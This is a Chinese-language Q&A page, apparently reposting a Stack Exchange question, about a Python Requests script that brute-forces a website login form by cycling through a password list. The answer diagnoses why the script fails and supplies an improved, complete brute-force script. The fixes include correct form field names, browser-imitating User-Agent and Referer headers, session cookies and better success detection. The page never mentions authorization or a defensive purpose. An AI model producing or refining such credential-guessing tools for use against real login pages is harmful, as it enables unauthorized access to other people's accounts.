You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python Requests暴力破解脚本失效问题排查及优化咨询

Python Requests暴力破解脚本无法匹配正确密码的问题排查与解决

问题描述

我写了一段基于Python Requests库的暴力破解脚本,但它识别不出正确密码。我的passwords.txt里有三个密码:两个错误、一个正确,但脚本就是匹配不到正确的那个。想问问是不是有其他实现方式?问题会不会出在别的地方,比如没正确定位表单字段?

用户提供的脚本代码:

import requests
url = "http:website.login"
username = "username"
error = "Password Error"

try:
    def bruteCracking(username,url,error):
        for password in passwords:
            password = password.strip()
            print("Trying:" + password)
            data_dict = {"text": username,"password": password,"button":"btnEntrar"}         
            response = requests.post(url, data=data_dict)
            if error in str(response.content):
               pass
            elif "csrf" in str(response.content):
                 print("CSRF Token Detected!! BruteF0rce Not Working This Website.")
                 exit()
            else:
                 print("Username: ---> " + username)
                 print("Password: ---> " + password)
                 exit()
except:
       print("Some Error Occurred Please Check Your Internet Connection!")
        
with open("passwords.txt", "r") as passwords:
     bruteCracking(username,url,error)

注:btnEntrar是按钮名称,其对象类型为button而非submit


问题排查与解决办法

1. 表单字段名大概率错误

你当前用的"text": username基本是错的,登录表单里的用户名字段名一般是username、user或者login,很少会叫text。
解决:打开登录页按F12调出开发者工具,找到登录表单的<input>元素,查看它的name属性值(比如<input name="username" type="text">),把data_dict里的"text"改成实际的字段名。

2. 按钮参数可能多余

因为按钮是button类型而非submit,很多网站不会要求在POST请求里携带按钮参数,你可以试试删掉"button":"btnEntrar"这个键值对,或者抓包看正常登录时是否真的提交了这个参数。

3. 响应内容判断逻辑有漏洞

  • 不要用str(response.content),直接用response.text,它会自动处理页面编码,避免因编码问题导致错误提示匹配失败。
  • 先手动登录一次正确密码和错误密码,对比两次的响应内容,确认错误提示文本是不是真的"Password Error",有没有大小写、空格或者特殊字符差异。

4. 缺少必要请求头

很多网站会验证User-Agent、Referer等请求头,直接用Requests发起的请求会被识别为非浏览器请求,可能被拦截或返回异常内容。
解决:添加模拟浏览器的请求头,示例:

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36",
    "Referer": url  # 这里填登录页的完整URL
}
# 发起请求时带上headers参数
response = requests.post(url, data=data_dict, headers=headers)

5. 没有保持会话

有些网站会用Cookie维持会话状态,每次用requests.post()都是新的会话,可能导致登录请求不生效。
解决:用requests.Session()来保持会话,示例:

session = requests.Session()
response = session.post(url, data=data_dict, headers=headers)

优化后的完整脚本

import requests

# 补全正确的登录URL,注意加http/https
url = "http://website.login"
username = "your_username"
error_msg = "Password Error"

# 模拟浏览器请求头
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36",
    "Referer": url
}

def brute_cracking(username, url, error_msg):
    # 初始化会话,保持Cookie
    session = requests.Session()
    
    # 读取密码文件
    with open("passwords.txt", "r") as f:
        passwords = [p.strip() for p in f if p.strip()]
    
    for password in passwords:
        print(f"Trying: {password}")
        # 替换成实际的表单字段名
        data_dict = {
            "username": username,
            "password": password
            # 确认需要按钮参数再解开注释:"button": "btnEntrar"
        }
        
        try:
            response = session.post(url, data=data_dict, headers=headers)
            # 捕获HTTP错误(比如404、500)
            response.raise_for_status()
            
            if error_msg in response.text:
                continue
            elif "csrf" in response.text:
                print("检测到CSRF Token!该网站无法直接暴力破解")
                return
            else:
                print("找到有效账号:")
                print(f"用户名: ---> {username}")
                print(f"密码: ---> {password}")
                return
        except requests.exceptions.RequestException as e:
            print(f"请求出错:{str(e)}")
            return

if __name__ == "__main__":
    brute_cracking(username, url, error_msg)

内容的提问来源于stack exchange,提问作者Jake from State Farm

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.08 11:30:16